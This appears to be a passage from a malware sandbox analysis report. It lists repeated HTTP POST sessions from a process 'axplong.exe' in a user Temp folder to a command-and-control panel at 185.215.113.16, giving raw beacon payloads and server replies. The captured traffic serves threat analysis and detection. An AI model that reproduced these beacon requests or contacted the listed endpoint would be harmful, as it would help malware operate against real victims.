                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      7192.168.2.849718185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:02:12.156254053 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:02:12.865134001 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:12 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0
                      Sep 27, 2024 07:02:12.866034985 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:02:13.095765114 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:12 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      8192.168.2.849719185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:02:13.216696024 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:02:13.915076971 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:13 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0
                      Sep 27, 2024 07:02:13.915976048 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:02:14.141984940 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:14 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      9192.168.2.849720185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:02:14.261881113 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:02:15.005763054 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:14 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0
                      Sep 27, 2024 07:02:15.007226944 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:02:15.240976095 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:15 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      10192.168.2.849721185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:02:15.355390072 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:02:16.061007023 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:15 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0
                      Sep 27, 2024 07:02:16.061783075 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:02:16.292433977 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:16 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      11192.168.2.849722185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:02:16.403985977 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:02:17.097100019 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:16 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0
                      Sep 27, 2024 07:02:17.098262072 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:02:17.322303057 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:17 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      12192.168.2.849724185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:02:17.433954954 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:02:18.136229992 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:18 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0
                      Sep 27, 2024 07:02:18.137312889 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:02:18.360410929 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:18 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      13192.168.2.849725185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:02:18.480709076 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:02:19.215290070 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:19 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0
                      Sep 27, 2024 07:02:19.217108965 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:02:19.451111078 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:19 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      14192.168.2.849726185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:02:19.558619022 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:02:20.277343035 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:20 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0
                      Sep 27, 2024 07:02:20.278129101 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:02:20.508101940 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:20 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      15192.168.2.849727185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:02:20.621521950 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:02:21.338819027 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:21 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0
                      Sep 27, 2024 07:02:21.339728117 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:02:21.569061041 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:21 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      16192.168.2.849728185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:02:21.685508966 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:02:22.383748055 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:22 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0
                      Sep 27, 2024 07:02:22.385257959 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:02:22.611278057 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:22 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      17192.168.2.849729185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:02:22.731244087 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:02:23.429603100 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:23 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0
                      Sep 27, 2024 07:02:23.430541039 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:02:23.848789930 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:23 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      18192.168.2.849730185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:02:23.965017080 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:02:24.662756920 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:24 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0
                      Sep 27, 2024 07:02:24.663634062 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:02:24.896445990 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:24 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
